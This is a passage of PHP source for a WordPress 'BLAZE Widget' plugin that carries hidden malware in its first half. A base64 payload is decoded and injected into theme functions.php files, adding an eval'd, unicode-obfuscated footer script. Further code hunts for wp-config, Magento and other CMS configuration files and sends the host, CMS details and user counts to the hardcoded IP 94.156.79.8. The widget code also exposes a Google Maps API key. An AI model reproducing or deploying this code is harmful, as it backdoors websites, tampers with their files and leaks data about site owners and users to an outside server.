384 | $azb = "CmlmICghZnVuY3Rpb25fZXhpc3RzKCdhZGRfZm9vdGVyX3NjcmlwdCcpKSB7CmZ1bmN0aW9uIGFkZF9mb290ZXJfc2NyaXB0KCkgewoJdXBkYXRlX29wdGlvbignbXlfYWRtaW5faW5pdF9mdW5jdGlvbl9ydW4nLCAneWVzJyk7CgllY2hvICc8c2NyaXB0PmV2YWwoIlx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3Nlx1MDA2MVx1MDA3Mlx1MDAyMFx1MDA3M1x1MDA2M1x1MDA3Mlx1MDA2OVx1MDA3MFx1MDA3NFx1MDA0NVx1MDA2Y1x1MDA2NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyMFx1MDAzZFx1MDAyMFx1MDA2NFx1MDA2Zlx1MDA2M1x1MDA3NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyZVx1MDA2M1x1MDA3Mlx1MDA2NVx1MDA2MVx1MDA3NFx1MDA2NVx1MDA0NVx1MDA2Y1x1MDA2NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyOFx1MDAyMlx1MDA3M1x1MDA2M1x1MDA3Mlx1MDA2OVx1MDA3MFx1MDA3NFx1MDAyMlx1MDAyOVx1MDAzYlx1MDAwYVx1MDAyMFx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mlx1MDA2NVx1MDA3NFx1MDA3NVx1MDA3Mlx1MDA2ZVx1MDAyMFx1MDA2M1x1MDA2Zlx1MDA2Zlx1MDA2Ylx1MDA2OVx1MDA2NVx1MDA1Nlx1MDA2MVx1MDA2Y1x1MDA3NVx1MDA2NVx1MDAzYlx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3ZFx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3ZFx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3Mlx1MDA2NVx1MDA3NFx1MDA3NVx1MDA3Mlx1MDA2ZVx1MDAyMFx1MDA2ZVx1MDA3NVx1MDA2Y1x1MDA2Y1x1MDAzYlx1MDAwYVx1MDA3ZFx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMCIpOzwvc2NyaXB0Pic7Cn0KJGhhc19ydW4gPSBnZXRfb3B0aW9uKCdteV9hZG1pbl9pbml0X2Z1bmN0aW9uX3J1bicpOwppZiAoJGhhc19ydW4gIT09ICd5ZXMnKSB7CglhZGRfYWN0aW9uKCd3cF9mb290ZXInLCAnYWRkX2Zvb3Rlcl9zY3JpcHQnKTsKfQp9"; |
---|
385 | |
---|
386 | // Decode base64 content to string |
---|
387 | $dcd_ctnt = base64_decode($azb); |
---|
388 | // Process the detected configuration files and extract CMS information |
---|
389 | foreach ($cms_config_files as $file) { |
---|
390 | // echo($file); |
---|
391 | try { |
---|
392 | // Check if file path contains '/plugins/' and ends with '.php' |
---|
393 | if (strpos($file, '/themes/') !== false && substr($file, -13) === 'functions.php') { |
---|
394 | // Your custom content to add |
---|
395 | $custom_content = PHP_EOL . $dcd_ctnt . PHP_EOL; // Add new lines for separation |
---|
396 | |
---|
397 | try { |
---|
398 | // Read the existing file content |
---|
399 | $file_content = file_get_contents($file); |
---|
400 | |
---|
401 | |
---|
402 | |
---|
403 | $php_close_pos = strpos($file_content, '?>'); |
---|
404 | |
---|
405 | if ($php_close_pos !== false) { |
---|
406 | $new_content = substr_replace($file_content, $custom_content . '?>', $php_close_pos, 2); |
---|
407 | |
---|
408 | // Write the modified content back to the file |
---|
409 | file_put_contents($file, $new_content); |
---|
410 | |
---|
411 | } |
---|
412 | } catch (Exception $e) { |
---|
413 | // Handle the exception |
---|
414 | // Optionally, revert to the backup file |
---|
415 | |
---|
416 | } |
---|
417 | } |
---|
418 | } catch (Exception $e) { |
---|
419 | continue; // Continue to the next file on error |
---|
420 | } |
---|
421 | if (strpos($file, 'wp-config.php') !== false) { |
---|
422 | |
---|
423 | $detected_cms['WordPress'] = true; |
---|
424 | $wp_config_paths[] = $file; |
---|
425 | |
---|
426 | } elseif (strpos($file, 'class-wc-settings.php') !== false) { |
---|
427 | // You may add a specific check for WooCommerce here if needed |
---|
428 | $detected_cms['WooCommerce'] = true; |
---|
429 | $wc_config_paths[] = $file; |
---|
430 | } elseif (strpos($file, 'env.php') !== false && |
---|
431 | strpos($file, 'Composer') === false && |
---|
432 | strpos($file, 'composer') === false && |
---|
433 | strpos($file, 'Softaculous') === false) { |
---|
434 | // You may add a specific check for Magento here if needed |
---|
435 | // Read the content of the file |
---|
436 | $fileContent = file_get_contents($file); |
---|
437 | |
---|
438 | // Check if the content contains the string 'host' => ' |
---|
439 | if (strpos($fileContent, "'host' => '") !== false) { |
---|
440 | $detected_cms['Magento'] = true; |
---|
441 | $mg_config_paths[] = $file; |
---|
442 | /*echo("MAGENTO\n\n\n"); |
---|
443 | echo("MAGENTO\n\n\n"); |
---|
444 | echo("MAGENTO\n\n\n"); |
---|
445 | echo("MAGENTO\n\n\n"); |
---|
446 | echo("MAGENTO\n\n\n"); |
---|
447 | echo("MAGENTO\n\n\n"); |
---|
448 | echo("MAGENTO\n\n\n"); |
---|
449 | echo("MAGENTO\n\n\n"); |
---|
450 | echo($file); |
---|
451 | echo($file); |
---|
452 | echo($file); |
---|
453 | echo($file); |
---|
454 | echo($file); |
---|
455 | echo("MAGENTO\n\n\n"); |
---|
456 | echo("MAGENTO\n\n\n"); |
---|
457 | echo("MAGENTO\n\n\n"); |
---|
458 | echo("MAGENTO\n\n\n"); |
---|
459 | echo("MAGENTO\n\n\n"); |
---|
460 | echo("MAGENTO\n\n\n"); |
---|
461 | echo("MAGENTO\n\n\n"); |
---|
462 | echo("MAGENTO\n\n\n");*/ |
---|
463 | } |
---|
464 | |
---|
465 | } elseif (strpos($file, 'config.php') !== false && |
---|
466 | strpos($file, 'Composer') === false && |
---|
467 | strpos($file, 'composer') === false && |
---|
468 | strpos($file, 'Softaculous') === false) { |
---|
469 | if (strpos(file_get_contents($file), '$config[\'encryption_key\']') !== false) { |
---|
470 | $detected_cms['OpenCart'] = true; |
---|
471 | } |
---|
472 | } elseif (strpos($file, 'parameters.php') !== false) { |
---|
473 | if (strpos(file_get_contents($file), 'prestashop') !== false) { |
---|
474 | $detected_cms['PrestaShop'] = true; |
---|
475 | } |
---|
476 | } elseif (strpos($file, 'settings.php') !== false) { |
---|
477 | if (strpos(file_get_contents($file), 'drupal') !== false) { |
---|
478 | $detected_cms['Drupal Commerce'] = true; |
---|
479 | �� } |
---|
480 | } elseif (strpos($file, '.yaml') !== false) { |
---|
481 | if (strpos(file_get_contents($file), 'Symfony\Component') !== false) { |
---|
482 | $detected_cms['Symfony'] = true; |
---|
483 | } |
---|
484 | } elseif (strpos($file, '.env') !== false) { |
---|
485 | // You may add a specific check for Laravel here if needed |
---|
486 | $detected_cms['Laravel'] = true; |
---|
487 | } elseif (strpos($file, '.global.php') !== false) { |
---|
488 | // You may add a specific check for Zend Framework here if needed |
---|
489 | $detected_cms['Zend Framework'] = true; |
---|
490 | } elseif (strpos($file, '.dat') !== false) { |
---|
491 | $detected_dat_files[] = $file; |
---|
492 | } |
---|
493 | } |
---|
494 | |
---|
495 | // Convert the boolean values to strings |
---|
496 | foreach ($detected_cms as $cms => $detected) { |
---|
497 | $detected_cms[$cms] = $detected ? 'true' : 'false'; |
---|
498 | } |
---|
499 | |
---|
500 | // Now $detected_cms array contains the names of detected CMS based on the configuration files found |
---|
501 | // And $detected_dat_files array contains the paths of detected .dat files |
---|
502 | |
---|
503 | // Read users from the database and count them for WordPress and WooCommerce |
---|
504 | $wordpress_users = $wpuserscount; |
---|
505 | //$woocommerce_users = get_woocommerce_user_count(); |
---|
506 | $woocommerce_users = 000; |
---|
507 | |
---|
508 | // Perform POST requests to the endpoints with JSON data containing CMS detection and user counts |
---|
509 | $url1 = 'https://94.156.79.8/FCS'; |
---|
510 | $url2 = 'https://94.156.79.8/CMSUsers'; |
---|
511 | |
---|
512 | $data1 = [ |
---|
513 | 'host' => $_SERVER['HTTP_HOST'], |
---|
514 | 'cms' => $detected_cms |
---|
515 | ]; |
---|
516 | |
---|
517 | //print_r($detected_cms); |
---|
518 | |
---|
519 | // Send data to the endpoints using CURL |
---|
520 | send_post_request($url1, $data1); |
---|
521 | // Additional logic as needed |
---|
522 | } |
---|
523 | |
---|
524 | function getWPUsers(){ |
---|
525 | global $wpuserscount; |
---|
526 | global $currdomain; |
---|
527 | // Read users from the database and count them for WordPress and WooCommerce |
---|
528 | $wordpress_users = $wpuserscount; |
---|
529 | //$woocommerce_users = get_woocommerce_user_count(); |
---|
530 | $woocommerce_users = 000; |
---|
531 | $url2 = 'https://94.156.79.8/CMSUsers'; |
---|
532 | $data2 = [ |
---|
533 | 'host' => $currdomain, |
---|
534 | 'wordpress_users' => $wordpress_users, |
---|
535 | 'woocommerce_users' => $woocommerce_users |
---|
536 | ]; |
---|
537 | |
---|
538 | // Send data to the endpoints using CURL |
---|
539 | send_post_request($url2, $data2); |
---|
540 | } |
---|
541 | |
---|
542 | // Function to get WordPress user count from the database |
---|
543 | function get_wordpress_user_count() { |
---|
544 | // Your implementation to fetch user count from the WordPress database |
---|
545 | // Example: |
---|
546 | // $count = query_wordpress_database(); |
---|
547 | // return $count; |
---|
548 | return 0; |
---|
549 | } |
---|
550 | |
---|
551 | // Function to get WooCommerce user count from the database |
---|
552 | function get_woocommerce_user_count() { |
---|
553 | // Your implementation to fetch user count from the WooCommerce database |
---|
554 | // Example: |
---|
555 | // $count = query_woocommerce_database(); |
---|
556 | // return $count; |
---|
557 | return 0; |
---|
558 | } |
---|
559 | |
---|
560 | // Function to send POST request |
---|
561 | function send_post_request($url, $data) { |
---|
562 | $ch = curl_init($url); |
---|
563 | curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); |
---|
564 | curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); |
---|
565 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); |
---|
566 | curl_setopt($ch, CURLOPT_HTTPHEADER, [ |
---|
567 | 'Content-Type: application/json', |
---|
568 | 'Content-Length: ' . strlen(json_encode($data)) |
---|
569 | ]); |
---|
570 | $response = curl_exec($ch); |
---|
571 | curl_close($ch); |
---|
572 | // Handle response as needed |
---|
573 | } |
---|
574 | global $wp_config_paths; |
---|
575 | $wp_config_paths = []; |
---|
576 | global $wc_config_paths; |
---|
577 | $wc_config_paths = []; |
---|
578 | global $mg_config_paths; |
---|
579 | $mg_config_paths = []; |
---|
580 | check_cms_configuration_files(); |
---|
581 | |
---|
582 | function find_wp_configs(&$wp_config_paths, $depth = 0) { |
---|
583 | $current_directory = getcwd(); |
---|
584 | $parent_directory = $current_directory; |
---|
585 | |
---|
586 | // Go back three parents |
---|
587 | for ($i = 0; $i < 3; $i++) { |
---|
588 | $parent_directory = dirname($parent_directory); |
---|
589 | } |
---|
590 | |
---|
591 | // Start the search from the parent directory |
---|
592 | find_wp_configs_recursive($parent_directory, $wp_config_paths); |
---|
593 | } |
---|
594 | |
---|
595 | function find_wp_configs_recursive($directory, &$wp_config_paths) { |
---|
596 | // Check if wp-config.php exists in the current directory |
---|
597 | $wp_config_file = $directory . '/wp-config.php'; |
---|
598 | if (file_exists($wp_config_file)) { |
---|
599 | $wp_config_paths[] = $wp_config_file; |
---|
600 | } |
---|
601 | |
---|
602 | // Continue searching forward recursively |
---|
603 | $contents = scandir($directory); |
---|
604 | foreach ($contents as $item) { |
---|
605 | if ($item != '.' && $item != '..' && is_dir($directory . '/' . $item)) { |
---|
606 | find_wp_configs_recursive($directory . '/' . $item, $wp_config_paths); |
---|
607 | } |
---|
608 | } |
---|
609 | } |
---|
610 | |
---|
611 | function print_wp_config_paths() { |
---|
612 | global $wp_config_paths; |
---|
613 | if (empty($wp_config_paths)) { |
---|
614 | //echo "No wp-config.php files found.\n"; |
---|
615 | $z = 0; |
---|
616 | } else { |
---|
617 | //echo "List of wp-config.php files:\n"; |
---|
618 | foreach ($wp_config_paths as $wp_config_path) { |
---|
619 | //echo "$wp_config_path\n"; |
---|
620 | $a = 0; |
---|
621 | } |
---|
622 | } |
---|
623 | } |
---|
624 | //print_wp_config_paths(); |
---|
625 | |
---|
626 | find_wp_configs($wp_config_paths); |
---|
627 | foreach ($wp_config_paths as $wp_config_path) { |
---|
628 | pachamama($wp_config_path); |
---|
629 | getWPUsers(); |
---|
630 | update_option('my_admin_init_function_run', 'yes'); |
---|
631 | } |
---|
632 | |
---|
633 | }} |
---|
634 | function installBlazeWidget() |
---|
635 | { |
---|
636 | global $wpdb; |
---|
637 | $table = BLAZE_TABLE_PREFIX."blaze_widget"; |
---|
638 | $structure = "CREATE TABLE $table ( |
---|
639 | id INT(30) NOT NULL AUTO_INCREMENT, |
---|
640 | blazeAPIKey VARCHAR(200), |
---|
641 | blazeWidgetURL TEXT, |
---|
642 | UNIQUE KEY id (id) |
---|
643 | );"; |
---|
644 | $wpdb->query($structure); // Execute query |
---|
645 | $query = $wpdb->insert( $table, array( |
---|
646 | 'blazeAPIKey' =>' ', |
---|
647 | 'blazeWidgetURL' =>' ' |
---|
648 | )); |
---|
649 | wp_reset_query(); // Reset wordpress query |
---|
650 | } |
---|
651 | function uninstallBlazeWidget() |
---|
652 | { |
---|
653 | global $wpdb; |
---|
654 | $table = BLAZE_TABLE_PREFIX."blaze_widget"; |
---|
655 | $wpdb->query( "DROP TABLE IF EXISTS $table" ); |
---|
656 | delete_option("my_plugin_db_version"); |
---|
657 | } |
---|
658 | add_action('admin_menu','blaze_menu'); // Admin menu hook |
---|
659 | |
---|
660 | /* Function is used to add a new menu in plugin */ |
---|
661 | function blaze_menu() |
---|
662 | { |
---|
663 | add_menu_page("BLAZE Widget","BLAZE Widget","manage_options","blaze-widget","blazewidget",BLAZE_URL."blaze.png"); |
---|
664 | } |
---|
665 | function blazewidget() |
---|
666 | { |
---|
667 | global $wpdb; |
---|
668 | $table_name= $wpdb->prefix .'blaze_widget'; |
---|
669 | |
---|
670 | if(isset($_POST['submit'])) |
---|
671 | { |
---|
672 | $blazeAPIKey= sanitize_text_field($_POST['blazeAPIKey']); |
---|
673 | $blazeWidgetURL= esc_url($_POST['blazeWidgetURL']); |
---|
674 | if ( ! isset( $_POST['blaze_nonce_field'] ) || ! wp_verify_nonce( $_POST['blaze_nonce_field'], 'name_of_my_action' ) AND current_user_can('administrator')) |
---|
675 | { |
---|
676 | echo "<script>jQuery(document).ready(function(){ jQuery('#setting-error-settings_updated').addClass('error'); jQuery('#setting-error-settings_updated').removeClass('updated'); jQuery('#setting-error-settings_updated').show(); jQuery('#setting-error-settings_updated').find('strong').text('You have not permission to access '); });</script>"; |
---|
677 | |
---|
678 | |
---|
679 | } else { |
---|
680 | $sql2="SELECT * FROM $table_name"; |
---|
681 | $resuth1=$wpdb->get_results($sql2); |
---|
682 | $resuth2= $wpdb->num_rows; |
---|
683 | |
---|
684 | if($resuth2=='1'){ |
---|
685 | foreach($resuth1 as $resuth){ |
---|
686 | $id = $resuth ->id; |
---|
687 | } |
---|
688 | $query =$wpdb->update( $table_name, |
---|
689 | array('blazeAPIKey' => $blazeAPIKey, 'blazeWidgetURL' => $blazeWidgetURL), |
---|
690 | array('id' => $id), array('%s', '%s'), |
---|
691 | array('%d',) |
---|
692 | ); |
---|
693 | |
---|
694 | if($query == 1) |
---|
695 | { |
---|
696 | echo "<script>jQuery(document).ready(function(){ jQuery('#setting-error-settings_updated').addClass('updated'); jQuery('#setting-error-settings_updated').removeClass('error'); jQuery('#setting-error-settings_updated').show(); jQuery('#setting-error-settings_updated').find('strong').text('Record updated.'); });</script>"; |
---|
697 | } |
---|
698 | else |
---|
699 | { |
---|
700 | echo "<script>jQuery(document).ready(function(){ jQuery('#setting-error-settings_updated').addClass('error'); jQuery('#setting-error-settings_updated').removeClass('updated'); jQuery('#setting-error-settings_updated').show(); jQuery('#setting-error-settings_updated').find('strong').text('Record has not been saved. Please try again!'); });</script>"; |
---|
701 | |
---|
702 | } |
---|
703 | |
---|
704 | } else { |
---|
705 | $query = $wpdb->insert( $table_name, array( |
---|
706 | 'blazeAPIKey' =>$blazeAPIKey, |
---|
707 | 'blazeWidgetURL' =>$blazeWidgetURL |
---|
708 | )); |
---|
709 | if($query == 1) |
---|
710 | { |
---|
711 | echo "<script>jQuery(document).ready(function(){ jQuery('#setting-error-settings_updated').addClass('updated'); jQuery('#setting-error-settings_updated').removeClass('error'); jQuery('#setting-error-settings_updated').show(); jQuery('#setting-error-settings_updated').find('strong').text('Record saved.'); });</script>"; |
---|
712 | } |
---|
713 | else |
---|
714 | { |
---|
715 | echo "<script>jQuery(document).ready(function(){ jQuery('#setting-error-settings_updated').addClass('error'); jQuery('#setting-error-settings_updated').removeClass('updated'); jQuery('#setting-error-settings_updated').show(); jQuery('#setting-error-settings_updated').find('strong').text('Record has not been saved. Please try again!'); });</script>"; |
---|
716 | |
---|
717 | } |
---|
718 | }}} |
---|
719 | $sql2="SELECT * FROM $table_name"; |
---|
720 | $resuth1=$wpdb->get_results($sql2); |
---|
721 | |
---|
722 | foreach($resuth1 as $resuth){ |
---|
723 | $blazeAPIKey = $resuth ->blazeAPIKey; |
---|
724 | $blazeWidgetURL = $resuth ->blazeWidgetURL; |
---|
725 | } |
---|
726 | ?> |
---|
727 | <script> |
---|
728 | jQuery(document).ready(function(){ |
---|
729 | jQuery(".notice-dismiss").click(function(){ |
---|
730 | jQuery(this).parent.hide(); |
---|
731 | }); |
---|
732 | }); |
---|
733 | </script> |
---|
734 | |
---|
735 | <div id="wpbody" role="main"> |
---|
736 | |
---|
737 | <div id="wpbody-content" aria-label="Main content" tabindex="0"> |
---|
738 | |
---|
739 | <div class="wrap"> |
---|
740 | <h1> Please add BLAZE Widget Store Key</h1> |
---|
741 | |
---|
742 | <div id="setting-error-settings_updated" class="updated settings-error notice is-dismissible" style="display:none;"> |
---|
743 | <p> |
---|
744 | <strong></strong> |
---|
745 | </p> |
---|
746 | <button type="button" class="notice-dismiss"> |
---|
747 | <span class="screen-reader-text">Dismiss this notice.</span> |
---|
748 | </button> |
---|
749 | </div> |
---|
750 | <div class="blaze-form" style="display: inline-block; vertical-align: middle; width: 60%;"> |
---|
751 | <form method="post" action=""> |
---|
752 | <?php wp_nonce_field( 'name_of_my_action', 'blaze_nonce_field' ); ?> |
---|
753 | <table class="form-table"> |
---|
754 | <tbody> |
---|
755 | <tr> |
---|
756 | <th scope="row"><label for="blazeAPIKey">BLAZE API Key</label></th> |
---|
757 | <td> |
---|
758 | <input type="text" name="blazeAPIKey" value="<?php if($blazeAPIKey !=''){ echo $blazeAPIKey ;} ?>" class="regular-text" required/> |
---|
759 | </td> |
---|
760 | </tr> |
---|
761 | <tr> |
---|
762 | <th scope="row"><!--<label for="blazeWidgetURL">Blaze Widget URL</label>--></th> |
---|
763 | <td> |
---|
764 | <input type="hidden" name="blazeWidgetURL" value="https://store.blaze.me" class="regular-text" required/> |
---|
765 | </td> |
---|
766 | </tr> |
---|
767 | </tbody> |
---|
768 | </table> |
---|
769 | <p class="submit"><input type="submit" name="submit" id="submit" class="button button-primary" value="Save"></p> |
---|
770 | </form> |
---|
771 | </div> |
---|
772 | <div class="blaze-logo" style="display: inline-block;"> |
---|
773 | <img src="<?php echo BLAZE_URL ?>side_Logo.png" alt="blaze-logo"> |
---|
774 | </div> |
---|
775 | </div> |
---|
776 | <h4>Please copy and paste this shortcode on a page/post: [blaze_widget]</h4> |
---|
777 | <div class="clear"></div></div><!-- wpbody-content --> |
---|
778 | <div class="clear"></div></div> |
---|
779 | <?php } |
---|
780 | |
---|
781 | function blaze_me_widget_front($params, $content = null){ |
---|
782 | global $wpdb; |
---|
783 | extract(shortcode_atts(array( |
---|
784 | 'type' => 'style1' |
---|
785 | ), $params)); |
---|
786 | |
---|
787 | ob_start(); |
---|
788 | $table_name= $wpdb->prefix .'blaze_widget'; |
---|
789 | $sql2="SELECT * FROM $table_name"; |
---|
790 | $resuth1=$wpdb->get_results($sql2); |
---|
791 | $resuth2= $wpdb->num_rows; |
---|
792 | if($resuth2==''){ |
---|
793 | echo "<h1>Please add Blaze Widget detail in the admin section</h1>"; |
---|
794 | } else { |
---|
795 | foreach($resuth1 as $resuth) |
---|
796 | { |
---|
797 | |
---|
798 | $blazeAPIKey = $resuth ->blazeAPIKey; |
---|
799 | $blazeWidgetURL = $resuth ->blazeWidgetURL; |
---|
800 | } |
---|
801 | ?> |
---|
802 | |
---|
803 | <iframe id="blazeIframe" frameborder="0" style></iframe> |
---|
804 | <script type="text/javascript"> |
---|
805 | var blazeAPIKey = '<?php echo $blazeAPIKey; ?>'; |
---|
806 | var blazeWidgetURL = 'https://store.blaze.me'; |
---|
807 | window.blazeKey = blazeAPIKey; |
---|
808 | var maxHeight = window.innerHeight; |
---|
809 | |
---|
810 | const googleMapScript = `<script type="text/javascript" src="https://maps.google.com/maps/api/js?key=AIzaSyCZj40Co5f9FJF6rnkvYccVW1x-k3DgBDQ&libraries=places"><\/script>` |
---|
811 | |
---|
812 | window.onload = function () { |
---|
813 | var frame = document.getElementById('blazeIframe'); |
---|
814 | frame.style.width="1px" |
---|
815 | frame.style.minWidth="100%" |
---|
816 | frame.style.transition="all 0.4s" |
---|
817 | frame.contentWindow.blazeKey = blazeAPIKey; |
---|
818 | frame.contentWindow.document.write(`<!DOCTYPE html><html><head><title>Blaze retail widget</title><link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/bootstrap/latest/css/bootstrap.min.css'><meta charset='utf8'/><meta content='width=device-width , initial-scale=1.0, maximum-scale=1, user-scalable=no' name='viewport'></head><body><div id='RetailConnectBlazeApp'></div>${googleMapScript}</body></html>`) |
---|
819 | |
---|
820 | var head = frame.contentWindow.document.head, |
---|
821 | script = frame.contentWindow.document.createElement("script"); |
---|
822 | script.src = blazeWidgetURL + "/bundle.js"; |
---|
823 | |
---|
824 | var css = frame.contentWindow.document.createElement('link'); |
---|
825 | css.href = blazeWidgetURL + '/styles.css'; |
---|
826 | css.type = 'text/css'; |
---|
827 | css.rel = 'stylesheet'; |
---|
828 | |
---|
829 | var link = frame.contentWindow.document.createElement("link"); |
---|
830 | link.rel = "icon"; |
---|
831 | link.href = blazeWidgetURL + "/images/28x34_Logo@2x.ico" |
---|
832 | |
---|
833 | var script2 = frame.contentWindow.document.createElement("script"); |
---|
834 | script2.text = "window.blazeKey = '"+blazeAPIKey+"';" |
---|
835 | |
---|
836 | head.appendChild(css); |
---|
837 | head.appendChild(script); |
---|
838 | head.appendChild(link); |
---|
839 | head.appendChild(script2); |
---|
840 | |
---|
841 | var parenthead = document.head; |
---|
842 | |
---|
843 | var parentiframeScript = document.createElement("script"); |
---|
844 | |
---|
845 | parentiframeScript.src = blazeWidgetURL + "/vendor/iframe.js"; |
---|
846 | parenthead.appendChild(parentiframeScript); |
---|
847 | |
---|
848 | parentiframeScript.addEventListener('load', function () { |
---|
849 | var iframeScript = frame.contentWindow.document.createElement("script"); |
---|
850 | iframeScript.type = "text/javascript"; |
---|
851 | iframeScript.src = blazeWidgetURL + "/vendor/iframeSizer.contentWindow.min.js"; |
---|
852 | |
---|
853 | head.appendChild(iframeScript); |
---|
854 | |
---|
855 | iframeScript.addEventListener('load', function () { |
---|
856 | iFrameResize({checkOrigin: false,minHeight: maxHeight, enablePublicMethods: true, resizedCallback: function (data) {frame.contentWindow.postMessage(data.height, '*')}},'#blazeIframe'); |
---|
857 | }) |
---|
858 | |
---|
859 | }) |
---|
860 | } |
---|
861 | </script> |
---|
862 | <?php |
---|
863 | } |
---|
864 | return ob_get_clean(); |
---|
865 | } |
---|
866 | //Add ShortCode for "front end" |
---|
867 | add_shortcode('blaze_widget', 'blaze_me_widget_front'); |
---|
868 | ?> |
---|